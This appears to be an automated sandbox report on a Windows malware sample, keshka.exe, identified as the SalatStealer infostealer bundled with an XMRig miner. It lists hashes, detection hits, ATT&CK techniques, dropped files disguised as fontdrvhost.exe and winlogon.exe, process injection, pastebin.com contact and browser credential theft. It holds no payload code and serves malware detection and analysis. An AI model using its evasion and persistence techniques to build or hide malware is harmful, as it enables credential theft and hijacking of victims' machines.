salatstealer | 897b5101cafb0a9104381e8cd260c932df8cc2162bd2d4f26ba968f4b70c63e8

max time kernel
600s
max time network
602s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
20/04/2026, 14:06

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General

Target
keshka.exe
Size 3.4MB
Sample260420-relbsacw4m
SHA256 897b5101cafb0a9104381e8cd260c932df8cc2162bd2d4f26ba968f4b70c63e8
MD5 20eef3d8647f48e17eb7f3804d836518
SHA1 fbe3a3f8d08c980ca36cf9f10ac9f72982d899dc
SHA512 8dc2e5f6568da07b03c7f793f7c70dfd7d48883d6fc473ab21931de02d41700f2d95c99a84047c1b144827573293fdd8d40b81219ce5a7d0605c6b7281f8f26a
SSDEEP 98304:J90zEmNW6ABeiCR3MBpTrJNpHfGYMZBCwLCta:X0rk6wwR3c3tH9MbCwLC4
TLSH
T12DF53300C54F7BFAEE5259B4F8DCC5814D4EC5089ED2D69F0A269B76AB43B1C820639F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access defense_evasion discovery execution salatstealer xmrig miner persistence spyware stealer upx

Malware Config

Signatures

Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
stealer salatstealer
Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Detect SalatStealer payload 22 IoCs

resource	yara_rule
behavioral2/memory/1368-1-0x00000000006A0000-0x00000000012F7000-memory.dmp	family_salatstealer
behavioral2/memory/1368-3-0x00000000006A0000-0x00000000012F7000-memory.dmp	family_salatstealer
behavioral2/memory/1368-12-0x00000000006A0000-0x00000000012F7000-memory.dmp	family_salatstealer
behavioral2/memory/3504-15-0x00000000003C0000-0x0000000001017000-memory.dmp	family_salatstealer
behavioral2/memory/3504-17-0x00000000003C0000-0x0000000001017000-memory.dmp	family_salatstealer
behavioral2/memory/5388-42-0x00000000004B0000-0x0000000001107000-memory.dmp	family_salatstealer
behavioral2/memory/5376-53-0x0000000000970000-0x00000000015C7000-memory.dmp	family_salatstealer
behavioral2/memory/3504-76-0x00000000003C0000-0x0000000001017000-memory.dmp	family_salatstealer
behavioral2/memory/3504-83-0x00000000003C0000-0x0000000001017000-memory.dmp	family_salatstealer
behavioral2/memory/3504-85-0x00000000003C0000-0x0000000001017000-memory.dmp	family_salatstealer
behavioral2/memory/3504-87-0x00000000003C0000-0x0000000001017000-memory.dmp	family_salatstealer
behavioral2/memory/3504-89-0x00000000003C0000-0x0000000001017000-memory.dmp	family_salatstealer
behavioral2/memory/3504-91-0x00000000003C0000-0x0000000001017000-memory.dmp	family_salatstealer
behavioral2/memory/3504-93-0x00000000003C0000-0x0000000001017000-memory.dmp	family_salatstealer
behavioral2/memory/3504-95-0x00000000003C0000-0x0000000001017000-memory.dmp	family_salatstealer
behavioral2/memory/3504-101-0x00000000003C0000-0x0000000001017000-memory.dmp	family_salatstealer
behavioral2/memory/3504-103-0x00000000003C0000-0x0000000001017000-memory.dmp	family_salatstealer
behavioral2/memory/2360-1508-0x00000000003C0000-0x0000000001017000-memory.dmp	family_salatstealer
behavioral2/memory/5748-1530-0x0000000000C90000-0x00000000018E7000-memory.dmp	family_salatstealer
behavioral2/memory/2360-1531-0x00000000003C0000-0x0000000001017000-memory.dmp	family_salatstealer
behavioral2/memory/1596-1849-0x0000000000C90000-0x00000000018E7000-memory.dmp	family_salatstealer
behavioral2/memory/1168-1850-0x00000000003C0000-0x0000000001017000-memory.dmp	family_salatstealer

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 3168 created 636	3168	powershell.EXE	5
PID 2840 created 636	2840	powershell.EXE	5

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/memory/5952-188-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral2/memory/5952-187-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
22	4032	powershell.exe
23	4032	powershell.exe
24	4032	powershell.exe
25	4032	powershell.exe
26	4032	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3168	powershell.EXE
2840	powershell.EXE
3844	powershell.exe
340	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Cryptocurrency Miner
Makes network request to known mining pool URL.
miner

Executes dropped EXE 11 IoCs

pid	Process
3504	fontdrvhost.exe
5388	fontdrvhost.exe
5376	fontdrvhost.exe
6136	f.exe
320	rjyzvekkqzsi.exe
5748	winlogon.exe
2360	fontdrvhost.exe
1596	winlogon.exe
1168	fontdrvhost.exe
5664	winlogon.exe
5096	fontdrvhost.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	pastebin.com
33	pastebin.com

Drops file in System32 directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe
File opened for modification	C:\Windows\system32\MRT.exe	rjyzvekkqzsi.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\MRT.exe	f.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 6136 set thread context of 3948	6136	f.exe	94
PID 320 set thread context of 2388	320	rjyzvekkqzsi.exe	111
PID 320 set thread context of 5700	320	rjyzvekkqzsi.exe	113
PID 320 set thread context of 5952	320	rjyzvekkqzsi.exe	114
PID 3168 set thread context of 2236	3168	powershell.EXE	118
PID 2840 set thread context of 2804	2840	powershell.EXE	120

UPX packed file 36 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1368-0-0x00000000006A0000-0x00000000012F7000-memory.dmp	upx
behavioral2/memory/1368-1-0x00000000006A0000-0x00000000012F7000-memory.dmp	upx
behavioral2/memory/1368-3-0x00000000006A0000-0x00000000012F7000-memory.dmp	upx
behavioral2/files/0x001900000002b485-10.dat	upx
behavioral2/memory/3504-14-0x00000000003C0000-0x0000000001017000-memory.dmp	upx
behavioral2/memory/1368-12-0x00000000006A0000-0x00000000012F7000-memory.dmp	upx
behavioral2/memory/3504-15-0x00000000003C0000-0x0000000001017000-memory.dmp	upx
behavioral2/memory/3504-17-0x00000000003C0000-0x0000000001017000-memory.dmp	upx
behavioral2/memory/5388-23-0x00000000004B0000-0x0000000001107000-memory.dmp	upx
behavioral2/memory/5388-42-0x00000000004B0000-0x0000000001107000-memory.dmp	upx
behavioral2/memory/5376-48-0x0000000000970000-0x00000000015C7000-memory.dmp	upx
behavioral2/memory/5376-53-0x0000000000970000-0x00000000015C7000-memory.dmp	upx
behavioral2/memory/3504-76-0x00000000003C0000-0x0000000001017000-memory.dmp	upx
behavioral2/memory/3504-83-0x00000000003C0000-0x0000000001017000-memory.dmp	upx
behavioral2/memory/3504-85-0x00000000003C0000-0x0000000001017000-memory.dmp	upx
behavioral2/memory/3504-87-0x00000000003C0000-0x0000000001017000-memory.dmp	upx
behavioral2/memory/3504-89-0x00000000003C0000-0x0000000001017000-memory.dmp	upx
behavioral2/memory/3504-91-0x00000000003C0000-0x0000000001017000-memory.dmp	upx
behavioral2/memory/3504-93-0x00000000003C0000-0x0000000001017000-memory.dmp	upx
behavioral2/memory/3504-95-0x00000000003C0000-0x0000000001017000-memory.dmp	upx
behavioral2/memory/3504-101-0x00000000003C0000-0x0000000001017000-memory.dmp	upx
behavioral2/memory/3504-103-0x00000000003C0000-0x0000000001017000-memory.dmp	upx
behavioral2/memory/5952-183-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/5952-188-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/5952-187-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/5952-185-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/5952-186-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/5952-184-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/5952-181-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral2/memory/5748-1506-0x0000000000C90000-0x00000000018E7000-memory.dmp	upx
behavioral2/memory/2360-1508-0x00000000003C0000-0x0000000001017000-memory.dmp	upx
behavioral2/memory/5748-1530-0x0000000000C90000-0x00000000018E7000-memory.dmp	upx
behavioral2/memory/2360-1531-0x00000000003C0000-0x0000000001017000-memory.dmp	upx
behavioral2/memory/1168-1832-0x00000000003C0000-0x0000000001017000-memory.dmp	upx
behavioral2/memory/1596-1849-0x0000000000C90000-0x00000000018E7000-memory.dmp	upx
behavioral2/memory/1168-1850-0x00000000003C0000-0x0000000001017000-memory.dmp	upx

Drops file in Program Files directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Mozilla Maintenance Service\04305f31-2ea8-a578-40f4-6e46038b312e	keshka.exe
File opened for modification	C:\Program Files (x86)\Mozilla Maintenance Service\winlogon.exe	keshka.exe
File opened for modification	C:\Program Files (x86)\Windows NT\04305f31-2ea8-a578-40f4-6e46038b312e	keshka.exe
File opened for modification	C:\Program Files (x86)\Windows NT\fontdrvhost.exe	keshka.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\fontdrvhost.exe	fontdrvhost.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\fontdrvhost.exe	fontdrvhost.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1164	sc.exe
5696	sc.exe
3548	sc.exe
800	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fontdrvhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	keshka.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fontdrvhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winlogon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fontdrvhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fontdrvhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fontdrvhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winlogon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fontdrvhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winlogon.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	dialer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	dialer.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1368	keshka.exe
1368	keshka.exe
1368	keshka.exe
1368	keshka.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
4032	powershell.exe
4032	powershell.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
3504	fontdrvhost.exe
6136	f.exe
3844	powershell.exe
3844	powershell.exe
6136	f.exe
6136	f.exe
6136	f.exe
6136	f.exe
6136	f.exe
6136	f.exe
320	rjyzvekkqzsi.exe
340	powershell.exe
340	powershell.exe
3168	powershell.EXE
3168	powershell.EXE
320	rjyzvekkqzsi.exe
320	rjyzvekkqzsi.exe
320	rjyzvekkqzsi.exe
320	rjyzvekkqzsi.exe
3168	powershell.EXE
2236	dllhost.exe
2236	dllhost.exe
2236	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
3504	fontdrvhost.exe
3140	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4032	powershell.exe
Token: SeDebugPrivilege	3844	powershell.exe
Token: SeDebugPrivilege	340	powershell.exe
Token: SeDebugPrivilege	3168	powershell.EXE
Token: SeDebugPrivilege	3168	powershell.EXE
Token: SeDebugPrivilege	2236	dllhost.exe
Token: SeDebugPrivilege	2840	powershell.EXE
Token: SeLockMemoryPrivilege	5952	dialer.exe
Token: SeAssignPrimaryTokenPrivilege	2740	svchost.exe
Token: SeIncreaseQuotaPrivilege	2740	svchost.exe
Token: SeSecurityPrivilege	2740	svchost.exe
Token: SeTakeOwnershipPrivilege	2740	svchost.exe
Token: SeLoadDriverPrivilege	2740	svchost.exe
Token: SeSystemtimePrivilege	2740	svchost.exe
Token: SeBackupPrivilege	2740	svchost.exe
Token: SeRestorePrivilege	2740	svchost.exe
Token: SeShutdownPrivilege	2740	svchost.exe
Token: SeSystemEnvironmentPrivilege	2740	svchost.exe
Token: SeUndockPrivilege	2740	svchost.exe
Token: SeManageVolumePrivilege	2740	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2740	svchost.exe
Token: SeIncreaseQuotaPrivilege	2740	svchost.exe
Token: SeSecurityPrivilege	2740	svchost.exe
Token: SeTakeOwnershipPrivilege	2740	svchost.exe
Token: SeLoadDriverPrivilege	2740	svchost.exe
Token: SeSystemtimePrivilege	2740	svchost.exe
Token: SeBackupPrivilege	2740	svchost.exe
Token: SeRestorePrivilege	2740	svchost.exe
Token: SeShutdownPrivilege	2740	svchost.exe
Token: SeSystemEnvironmentPrivilege	2740	svchost.exe
Token: SeUndockPrivilege	2740	svchost.exe
Token: SeManageVolumePrivilege	2740	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2740	svchost.exe
Token: SeIncreaseQuotaPrivilege	2740	svchost.exe
Token: SeSecurityPrivilege	2740	svchost.exe
Token: SeTakeOwnershipPrivilege	2740	svchost.exe
Token: SeLoadDriverPrivilege	2740	svchost.exe
Token: SeSystemtimePrivilege	2740	svchost.exe
Token: SeBackupPrivilege	2740	svchost.exe
Token: SeRestorePrivilege	2740	svchost.exe
Token: SeShutdownPrivilege	2740	svchost.exe
Token: SeSystemEnvironmentPrivilege	2740	svchost.exe
Token: SeUndockPrivilege	2740	svchost.exe
Token: SeManageVolumePrivilege	2740	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2740	svchost.exe
Token: SeIncreaseQuotaPrivilege	2740	svchost.exe
Token: SeSecurityPrivilege	2740	svchost.exe
Token: SeTakeOwnershipPrivilege	2740	svchost.exe
Token: SeLoadDriverPrivilege	2740	svchost.exe
Token: SeSystemtimePrivilege	2740	svchost.exe
Token: SeBackupPrivilege	2740	svchost.exe
Token: SeRestorePrivilege	2740	svchost.exe
Token: SeShutdownPrivilege	2740	svchost.exe
Token: SeSystemEnvironmentPrivilege	2740	svchost.exe
Token: SeUndockPrivilege	2740	svchost.exe
Token: SeManageVolumePrivilege	2740	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2740	svchost.exe
Token: SeIncreaseQuotaPrivilege	2740	svchost.exe
Token: SeSecurityPrivilege	2740	svchost.exe
Token: SeTakeOwnershipPrivilege	2740	svchost.exe
Token: SeLoadDriverPrivilege	2740	svchost.exe
Token: SeSystemtimePrivilege	2740	svchost.exe
Token: SeBackupPrivilege	2740	svchost.exe
Token: SeRestorePrivilege	2740	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1368 wrote to memory of 3504	1368	keshka.exe	80
PID 3504 wrote to memory of 4032	3504	fontdrvhost.exe	81
PID 3504 wrote to memory of 5388	3504	fontdrvhost.exe	83
PID 3504 wrote to memory of 5376	3504	fontdrvhost.exe	85
PID 3504 wrote to memory of 1516	3504	fontdrvhost.exe	88
PID 1516 wrote to memory of 6136	1516	cmd.exe	90
PID 6136 wrote to memory of 3948	6136	f.exe	94
PID 6136 wrote to memory of 3948	6136	f.exe	94
PID 6136 wrote to memory of 3948	6136	f.exe	94
